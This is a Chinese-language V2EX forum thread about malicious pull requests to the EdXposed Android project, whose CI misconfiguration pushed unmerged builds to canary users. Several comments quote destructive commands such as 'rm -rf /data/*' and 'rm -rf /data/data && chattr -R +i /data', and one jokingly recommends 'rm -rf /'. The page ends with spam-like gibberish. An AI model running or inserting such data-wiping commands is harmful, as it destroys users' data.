在开源代码中 rm -rf 是为了什么? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要在回答技术问题时复制粘贴 AI 生成的内容
runze
V2EX    程序员

在开源代码中 rm -rf 是为了什么?

  •  9
     
  •   runze 2020-05-17 13:07:28 +08:00 25855 次点击
    这是一个创建于 1972 天前的主题,其中的信息可能已经有所发展或是发生改变。
    140 条回复    2020-05-19 11:14:31 +08:00
    1  2  
    mumbler
        2
    mumbler  
       2020-05-17 13:25:14 +08:00 via Android   1
    给人造成精神损失的恶作剧叫玩笑
    给人造成物质损失的恶作剧叫犯罪
    Pyjamas
        3
    Pyjamas  
       2020-05-17 13:26:44 +08:00   4
    @mumbler 杠一下,两个都可以是犯罪
    wogong
        4
    wogong  
       2020-05-17 13:32:41 +08:00
    无法理解的人类行为。

    已经向 Github report
    murmur
        5
    murmur  
       2020-05-17 13:35:25 +08:00   6
    这个我支持人肉出来
    TypeError
        6
    TypeError  
       2020-05-17 13:42:19 +08:00 via Android
    就是脑残,加上项目维护者粗心,ci 配错了
    Jirajine
        7
    Jirajine  
       2020-05-17 13:48:49 +08:00 via Android   8
    利用 ci 自动发版的任意代码执行漏洞,完全构成了入侵计算机系统罪,和什么使用条款都没关系,数据被删的话请直接报警。
    yujiang
        8
    yujiang  
       2020-05-17 14:03:30 +08:00
    有毛病吧???这人是什么心态,ma 没了???
    paoqi2048
        9
    paoqi2048  
       2020-05-17 14:09:11 +08:00
    损人不利己
    azh7138m
        10
    azh7138m  
       2020-05-17 14:17:53 +08:00 via Android
    已 report

    不能期望每个人都有底线
    masker
        11
    masker  
       2020-05-17 14:26:57 +08:00 via Android
    开源也挡不住有心人作恶啊。
    JasonC0426
        12
    JasonC0426  
       2020-05-17 14:54:14 +08:00 via Android
    已向 github report,估计是为了好玩。有没有学法学的,这种构不构成破坏计算机信息系统罪?
    LucentioLuo
        13
    LucentioLuo  
       2020-05-17 15:06:11 +08:00 via Android
    chotow
        14
    chotow  
       2020-05-17 15:09:40 +08:00   13
    @LucentioLuo #13 要是以后分享这种封闭社区的内容时可以顺带截图就好了。
    MaiKuraki
        15
    MaiKuraki  
       2020-05-17 15:15:49 +08:00
    进局子吧
    chotow
        16
    chotow  
       2020-05-17 15:24:04 +08:00   7
    13 楼的截图: https://imgur.com/a/gC2HOmp
    peterpei
        17
    peterpei  
       2020-05-17 15:24:20 +08:00
    “ Improve smooth and phone battery life”
    这我傻了
    laike9m
        18
    laike9m  
       2020-05-17 15:40:40 +08:00
    我比较好奇的是,@huanruomengyun 和 @BlueJett 是一个人的两个账号吗?
    laike9m
        19
    laike9m  
       2020-05-17 15:43:07 +08:00
    还有就是如何配置 CI 才能做到直接把 PR 的内容更新到用户手机上。。?
    HughZadora
        20
    HughZadora  
       2020-05-17 15:54:04 +08:00 via iPhone
    有什?我了是放在那。使用在你的手中,你使用了就意味你要承,有什?
    alphatoad
        21
    alphatoad  
       2020-05-17 15:56:51 +08:00
    看了这么多集罗翔,按照主客观统一学说,其必须有主观故意才能定罪,否则算过失
    yujiang
        22
    yujiang  
       2020-05-17 15:57:26 +08:00
    @HughZadora 那这也不是你提交恶意代码的理由
    zsdroid
        23
    zsdroid  
       2020-05-17 16:26:53 +08:00   5
    理一下,涉及 3 个人物。

    @NekoInverter 在 master 分支提交了`rm -rf /data/*`,https://github.com/ElderDrivers/EdXposed/pull/537
    接着又在 android_r 分支提交了`rm -rf /data/*`,https://github.com/ElderDrivers/EdXposed/pull/538

    @huanruomengyun 在 master 分支提交了`rm -rf /data/data && chattr -R +i /data` ,https://github.com/ElderDrivers/EdXposed/pull/540

    @BlueJett 在 master 分支提交了
    ```ui_print "- Start Cleaning!"
    rm -rf /data/media/*
    ui_print "- Finished! Check for
    ``` ,https://github.com/ElderDrivers/EdXposed/pull/541

    @BlueJett 在 master 分支提交了`ui_print "- Here is @BlueJett, sorry for what I've done..."`,https://github.com/ElderDrivers/EdXposed/pull/542
    VDimos
        24
    VDimos  
       2020-05-17 16:38:18 +08:00 via Android
    这种人图啥?和前段时间举报 ps 那个人一样,为了什么???
    JackyCDK
        25
    JackyCDK  
       2020-05-17 16:43:02 +08:00   5
    为啥 pr 的 ci release 会下载到用户手上....这 ci 的配置也太有问题了吧....
    RobertLyu
        26
    RobertLyu  
       2020-05-17 16:43:18 +08:00
    @VDimos 法律意志的残缺和道德的败坏。
    dr1q65MfKFKHnJr6
        27
    dr1q65MfKFKHnJr6  
       2020-05-17 16:46:35 +08:00
    怎么说呢, 开源代码, 发布出来, 你自己愿意用,除了问题骂两句得了。。。
    9yu
        28
    9yu  
       2020-05-17 17:00:28 +08:00
    这些 PR 为什么会被接受?
    行为真是太恶心了。
    luozic
        29
    luozic  
       2020-05-17 17:06:55 +08:00
    谁合并的?
    guog
        30
    guog  
       2020-05-17 17:15:29 +08:00 via Android   3
    @HughZadora 这也能洗?
    HTSdTt3WygdgQQGe
        31
    HTSdTt3WygdgQQGe  
       2020-05-17 17:15:47 +08:00 via Android
    一般装完各种软件和配置后,都用 rm -rf /来测试一下性能
    runze
        32
    runze  
    OP
       2020-05-17 17:17:06 +08:00
    @cedoo22 #27 你真的点进去看了吗?
    明明是有人恶意 PR,原本的开源者也是受害者。
    gamexg
        33
    gamexg  
       2020-05-17 17:27:20 +08:00
    看着并没有合并,为什么有很多人说数据被删除了了?
    bwt
        34
    bwt  
       2020-05-17 17:30:58 +08:00 via Android
    bwt
        35
    bwt  
       2020-05-17 17:33:48 +08:00 via Android
    @bwt 这个意思是 所有用户的 pr,ci 构建成功后都有可能会被推送到所有用户吗?
    CdR48cafe
        36
    CdR48cafe  
       2020-05-17 17:34:01 +08:00   2
    @alphatoad 肯定有"间接故意"
    @HughZadora 自己承担风险的前提是完整的风险预先告知。你在路旁放了一箱下了毒的可乐,挂个"免费自取"的看板,毒死人无罪?
    batkiz
        37
    batkiz  
       2020-05-17 17:35:28 +08:00   10
    1. 对一个开源项目,所有人都有资格去提交 PR,起码在 GitHub 上是这样的。
    2. 一个 PR 会不会被 merge 是由项目所有者决定的。
    3. 为什么一个未被 merge 的 PR 会被 CI 构建并推送到用户的手机上?
    ---
    换言之:
    1. 我能不能向 linux 项目提一个 PR,将 `rm -rf /*` 写进 init,并更改 license 为仅对 Google 授权呢?可以。
    2. 这个 PR 会被 merge 吗?我会不会被 linus 喷的狗血淋头?不会。会。
    3. 这个 PR 会对 linux 用户造成影响吗?会清空世界各地的 linux 系统的设备吗?不会。不会。
    ---
    related:
    什么是哈希洪水攻击( Hash-Flooding Attack )? - Gh0u1L5 的回答 - 知乎
    https://www.zhihu.com/question/286529973/answer/676290355
    DefoliationM
        38
    DefoliationM  
       2020-05-17 17:36:39 +08:00
    笑死 提交的 pr 都不带审核的吗 23333
    ashong
        39
    ashong  
       2020-05-17 17:37:23 +08:00 via iPhone
    @VDimos 估计精神类疾病患者
    Zzdex
        40
    Zzdex  
       2020-05-17 17:38:25 +08:00   1
    根本原因还是 ci 有问题
    Jirajine
        41
    Jirajine  
       2020-05-17 17:39:41 +08:00 via Android   10
    @HughZadora 稍微捋一捋:
    1. 开源作者错误的配置了 ci,导致 pr 的自动构建会推送到使用 cannery 分支的用户设备上运行,由此产生了任意代码执行漏洞。
    2. 攻击者利用该漏洞执行恶意代码,破坏用户设备。
    3. 由于 GPL 协议无任何保证风险自担所以错误配置引起漏洞的开源作者无需承担责任。
    4. 但这不意味着攻击者无需承担责任,利用 GPL 协议分发的软件的漏洞进行攻击难道可以免责么?
    5. 如此明显的破坏、入侵计算机系统,被攻击者损失者应该直接报案。
    Senventise
        42
    Senventise  
       2020-05-17 17:40:08 +08:00 via Android
    @bwt 不是所用用户,只有 canary 版本的
    learningman
        43
    learningman  
       2020-05-17 17:41:53 +08:00
    @batkiz 对啊,所以他现在被骂的狗血淋头并没有什么问题啊
    phithon
        44
    phithon  
       2020-05-17 17:44:22 +08:00
    测试漏洞不要使用破坏性代码
    batkiz
        45
    batkiz  
       2020-05-17 17:44:35 +08:00
    @learningman 您是如何得出「我认为“他现在被骂的狗血淋头”是有问题的」这一结论的呢?
    Tink
        46
    Tink  
    PRO
       2020-05-17 18:00:16 +08:00 via iPhone
    这个过分了
    dr1q65MfKFKHnJr6
        47
    dr1q65MfKFKHnJr6  
       2020-05-17 18:04:58 +08:00
    @runze 看了 有人恶意 PR,被 CI 推送,是 CI 管理者的问题。
    jemyzhang
        48
    jemyzhang  
       2020-05-17 18:14:46 +08:00 via Android
    pr 直接 ci 推送给用户,脑洞有点大
    kenvix
        49
    kenvix  
       2020-05-17 18:17:46 +08:00
    利用开源项目 CI 的配置缺陷提交恶意代码破坏用户设备。
    这已经犯罪了吧。
    LokiSharp
        50
    LokiSharp  
       2020-05-17 18:48:05 +08:00   1
    然而这样修改 CI 设置没有任何用处,CI 只会读取当前的配置,这个配置也是提交者可以修改的。

    https://github.com/ElderDrivers/EdXposed/issues/549
    LokiSharp
        51
    LokiSharp  
       2020-05-17 18:52:53 +08:00
    @laike9m #19 他们是给了个 Cannery 通道,让协作者能方便的拿到自己 PR 构建的 Artifacts
    jhdxr
        52
    jhdxr  
       2020-05-17 18:58:54 +08:00   1
    未被 merge 的,包含不合适代码的 PR 难道 github 上还少吗?有问题的难道不应该是为什么这样子的代码能进到用户手机上去吗?

    用户该反思下自己为什么要在主力机器上用 nightly 的 channel,开发者该思考下 channel 的配置了。。。


    p.s. 别说这是 CI 的漏洞,CI 所做的事情是完全符合预期的。难道 CI 把包打出来就能自动推到用户手机上?
    ByteCat
        53
    ByteCat  
       2020-05-17 18:59:20 +08:00
    没有 merge 的话也会被 CI 构建吗
    itning
        54
    itning  
       2020-05-17 19:14:43 +08:00
    代码都不 review ?
    Rheinmetal
        55
    Rheinmetal  
       2020-05-17 19:35:01 +08:00
    @ByteCat
    AppVeyor 默认情况构建 tags 和 pr
    问题不在 ci 而是推送策略问题 所有 artifact 都推送到 Canary 这就成问题了
    CheekiBreeki
        56
    CheekiBreeki  
       2020-05-17 19:36:46 +08:00 via Android
    rm 能改善系流和池命,
    CheekiBreeki
        57
    CheekiBreeki  
       2020-05-17 19:36:54 +08:00 via Android
    Nadao
        58
    Nadao  
       2020-05-17 19:50:36 +08:00
    不会看代码,会不会是其中一个功能就是清除数据,重置系统?
    MaiKuraki
        59
    MaiKuraki  
       2020-05-17 19:53:10 +08:00
    slyang5
        60
    slyang5  
       2020-05-17 19:57:28 +08:00
    @murmur 看他博客 友链 应该很好找出来
    Vhc001
        61
    Vhc001  
       2020-05-17 20:09:55 +08:00
    @MaiKuraki #59 怎么,你试过了?
    fengyj
        62
    fengyj  
       2020-05-17 20:12:34 +08:00
    这项目维护者 ci 真是写得够狠啊
    JamesR
        63
    JamesR  
       2020-05-17 20:13:27 +08:00
    canary 版本用户全嗝屁了
    Jooooooooo
        64
    Jooooooooo  
       2020-05-17 20:37:04 +08:00
    符合破坏计算机信息罪

    建议报警
    yanqiyu
        65
    yanqiyu  
       2020-05-17 22:09:54 +08:00   1
    这灵魂 CI/CD,我觉得恶意 pr 不但可以破坏用户文件,还可以偷走项目的一些 secret
    tankren
        66
    tankren  
       2020-05-17 22:15:37 +08:00
    恶意利用 GitHub 漏洞 恶意删除他人文件 受害者可以报警
    yanqiyu
        67
    yanqiyu  
       2020-05-17 22:25:34 +08:00
    @cedoo22 不一定,开源代码的不附加保证并不代表恶意行为可以被开脱。
    suotm
        68
    suotm  
       2020-05-17 22:26:18 +08:00
    不理解这种行为,似乎不是很高级的 hack,先问一下始作俑者意义何在?
    sky96111
        69
    sky96111  
       2020-05-17 22:42:55 +08:00
    @gamexg CI 配置有问题,未合并的 pr 也会被构建,然后用户端金丝雀版会直接从最新的 CI 下载文件
    gamexg
    &nsp;   70
    gamexg  
       2020-05-17 22:47:11 +08:00
    @sky96111 #69 好吧,神奇的 ci 配置。
    这次仅仅只是删除文件还算好的,要是被植入木马才是大坑。
    bitdepth
        71
    bitdepth  
       2020-05-17 23:07:21 +08:00
    一堆人不懂源
    源了你自己拿去用,作者不的
    hwdef
        72
    hwdef  
       2020-05-17 23:13:57 +08:00
    @bitdepth
    你这语气看来你很懂。

    所以你的意思是向开源代码里提交恶意代码不应该被骂?
    longaiwp
        73
    longaiwp  
       2020-05-17 23:19:30 +08:00
    问题是这是提交 PR 的人的问题吗?这难道不是 CI 就会自动发版的问题吗? Github 的恶意 PR 不计其数,导致问题的就你,你想想是谁的问题?责任分主次,不要颠倒黑白。
    chinvo
        74
    chinvo  
       2020-05-17 23:25:52 +08:00 via iPhone
    @longaiwp #72 主责自然是破坏者啊,怎么还有想让项目背主锅的

    洗地水平太差
    LokiSharp
        75
    LokiSharp  
       2020-05-17 23:30:59 +08:00   1
    @longaiwp #73 没出问题啊。。。
    出问题的都是自己选择 Canary 通道的人,后果自负。没推到 Release 通道之前发生什么都和作者没关系

    至于 PR 提交者的责任,我们旁观者没啥好追责的,不是当事人,吃瓜就好了。
    minami
        76
    minami  
       2020-05-17 23:46:14 +08:00
    @bitdepth #71 那你解释下 AntD 圣诞彩蛋事件?嗯?如果照你说的开源不要负责,为什么彩蛋作者要背 325,还要出来公开道歉?
    kojirou
        77
    kojirou  
       2020-05-18 00:05:14 +08:00
    本来想阴阳怪气一下,想想还是算了^^
    SZP1206
        78
    SZP1206  
       2020-05-18 00:22:46 +08:00
    长了见识,还真是什么人都有啊
    bitdepth
        79
    bitdepth  
       2020-05-18 00:24:04 +08:00 via iPad
    @minami 自己完 GPL 3.0 license 再
    minami
        80
    minami  
       2020-05-18 00:27:31 +08:00   2
    @bitdepth #79 你这讲的越来越离谱了,这个是恶意 PR,项目所有者也是受害者,你叫我读 GPL ????
    minami
        81
    minami  
       2020-05-18 00:32:11 +08:00   1
    @bitdepth #79 还有,你是不是以为只有法律负责才是负责?那你这道德感也太低下了。受害者诉求很简单,github 封号+必须公开道歉。到你这成了可以装作没事?天哪,道德低劣至此
    mariotaku
        82
    mariotaku  
       2020-05-18 00:44:03 +08:00
    CI 不应该接受*任何*不信任的 PR,如果我在 CI 的 build script 里面有引用到 secret variable,恶意 PR 加入一个读取所有的环境变量并发到自己的邮箱的命令,密钥很可能就泄露了。
    mercury233
        83
    mercury233  
       2020-05-18 01:03:01 +08:00 via Android
    三点反思:
    协议里的免责条款非常有必要
    几千个 star 的项目的代码仍然可能没有很好的 review
    项目已经有 60 多个 pr,按照这个流程,可能有用户受到之前其他有问题的 pr 的影响,但开发者并没能得到有效反馈,说明收集反馈真的很难
    bitdepth
        84
    bitdepth  
       2020-05-18 01:07:35 +08:00 via iPad
    @minami 自己定的自己玩去。自己不看代怪人?
    某些者的能力不得高在哪。
    我建凡在 script 中中文的都死
    lazydao
        85
    lazydao  
       2020-05-18 01:14:13 +08:00
    真是傻逼祸害人
    ppphp
        86
    ppphp  
       2020-05-18 01:15:14 +08:00
    我的观点:
    项目拥有者,顶多技术有点瑕疵,但是他 no warranty 。
    攻击者上传恶意代码,代码本身也是 no warranty 的,但是对于代码托管平台和发布平台来说是有 warranty 的,用户条款里一定会有不能上传恶意软件,用 key 需要授权什么的说法。所以只有项目拥有者受到了真正的损失,一般也追责追不到,所以会自己用技术来避免这种事情。
    收多大钱承担多大责任,和让恶意者付出成本并不矛盾吧。
    lazydao
        87
    lazydao  
       2020-05-18 01:16:01 +08:00   2
    法律是底线,结果有些人真就把违法当人生底线了。
    loneyor
        88
    loneyor  
       2020-05-18 01:24:38 +08:00
    虽然是 dev 自己的疏忽,但是利用这个疏忽和漏洞,要是造成大损失,至少在国内肯定有罪的
    sugarsalt
        89
    sugarsalt  
       2020-05-18 01:39:11 +08:00
    所以,各打五十大板吧。
    lwp2070809
        90
    lwp2070809  
       2020-05-18 07:35:26 +08:00 via Android
    这个问题似乎没有当初 bumblebee 严重,不过一个是出于主观恶意,一个是失误。利用 edxposed 漏洞的人实在是可耻。
    RockShake
        91
    RockShake  
       2020-05-18 08:26:31 +08:00
    这是明显的主观破坏
    Greatshu
        92
    Greatshu  
       2020-05-18 08:38:07 +08:00
    也好,使用 canary 本来就是有风险的,这算是给用户上了一课。
    jy02201949
        93
    jy02201949  
       2020-05-18 08:48:29 +08:00
    t/646108

    项目主手撕太极现场,让大家放弃商业化,拥抱开源,然后……

    我没有贬低这个项目的任何意思,EdXposed 挺好的,就是结合这次事件,感慨一下,开源跟商业化的战争还远远没有结束啊
    BenchWidth
        94
    BenchWidth  
       2020-05-18 09:14:11 +08:00
    如果前面的参数值不存在就是另外一个故事了
    minami
        95
    minami  
       2020-05-18 09:27:32 +08:00
    @bitdepth #84 原来还是种族歧视者啊,失敬失敬
    hakono
        96
    hakono  
       2020-05-18 09:35:28 +08:00 via Android
    @jy02201949 我不知道你在这时候搬出这话题是什么意思。商业软件里没有经过良好测试然后发布造成给用户毁灭打击的事件并不少
    jeasonzuo
        97
    jeasonzuo  
       2020-05-18 09:36:17 +08:00
    夺损呐!
    irainsoft
        98
    irainsoft  
       2020-05-18 09:39:36 +08:00
    一个没脑子的用户利用一个开源项目的漏洞向所有人证明了使用 Canary 通道是有风险的,虽然这是一个原本不应存在的风险。普通用户还是用稳定 relase 版吧,如果真的是开发人员也最好拿专门的设备来做测试...
    root8080
        99
    root8080  
       2020-05-18 09:41:35 +08:00
    看了底下回复 就..... 觉得好丢脸......
    jy02201949
        100
    jy02201949  
       2020-05-18 09:41:39 +08:00
    @hakono #96 商业做不好,不代表开源就能做好,一味指责别人商业化的不对,但自身也需要加强自己开源的安全性,我抛出这个话题不是指责谁,只是说这两者之间没有绝对的对错,麻烦带着脑子看别人说的话
    1  2  
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2832 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 29ms UTC 14:27 PVG 22:27 LAX 07:27 JFK 10:27
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86